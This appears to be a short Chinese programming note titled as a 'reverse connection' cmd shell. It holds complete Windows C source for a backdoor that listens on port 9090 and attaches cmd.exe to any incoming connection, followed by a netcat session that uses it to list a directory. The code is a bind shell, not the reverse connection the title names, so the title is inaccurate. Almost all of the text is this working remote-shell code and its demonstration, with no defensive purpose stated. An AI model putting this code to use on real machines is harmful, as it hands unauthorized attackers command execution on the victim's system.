反向连接打开cmdshell

源代码：

#include <winsock2.h> 
#include <stdio.h> 
#pragma comment(lib,"Ws2_32") 

#define LISTEN_PORT 9090
int main() {
	WSADATA ws;
	SOCKET listenFD;
	int ret;
	WSAStartup(MAKEWORD(2, 2), &ws);
	listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	struct sockaddr_in server;
	server.sin_family = AF_INET;
	server.sin_port = htons(LISTEN_PORT);
	server.sin_addr.s_addr = ADDR_ANY;
	ret = bind(listenFD, (sockaddr *) &server, sizeof(server));
	if (SOCKET_ERROR == ret) {
		wprintf(L"bind failed:%d", WSAGetLastError());
		return 0;
	}
	ret = listen(listenFD, 2);
	if (SOCKET_ERROR == ret) {
		wprintf(L"listen failed:%d", WSAGetLastError());
		return 0;
	}
	int iAddrSize = sizeof(server);
	SOCKET clientFD = accept(listenFD, (sockaddr *) &server, &iAddrSize);
	if (INVALID_SOCKET == clientFD) {
		wprintf(L"accept failed:%d", WSAGetLastError());
		return 0;
	}
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (void *) clientFD;
	PROCESS_INFORMATION pi;
	TCHAR app_spawn[] = L"C:\\WINDOWS\\system32\\cmd.exe";
	if (!CreateProcess(app_spawn, NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
		wprintf(L"CreateProcess failed:%d", GetLastError());
		return 0;
	}
	return 0;
}

运行，然后用nc连上去：

D:\>nc 127.0.0.1 9090
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

D:\My Documents\Visual Studio 2010\Projects\hacker\05_2>dir
dir
 驱动器 D 中的卷是 本地磁盘
 卷的序列号是 6C97-9E44

 D:\My Documents\Visual Studio 2010\Projects\hacker\05_2 的目录

2013-07-22  08:14    <DIR>          .
2013-07-22  08:14    <DIR>          ..
2013-07-22  22:20             1,053 05_2.cpp
2013-07-22  08:14             3,918 05_2.vcxproj
2013-07-22  08:14               942 05_2.vcxproj.filters
2013-07-22  08:14               143 05_2.vcxproj.user
2013-07-22  22:20    <DIR>          Release
               4 个文件          6,056 字节
               3 个目录 34,145,611,776 可用字节

D:\My Documents\Visual Studio 2010\Projects\hacker\05_2>exit
exit

D:\>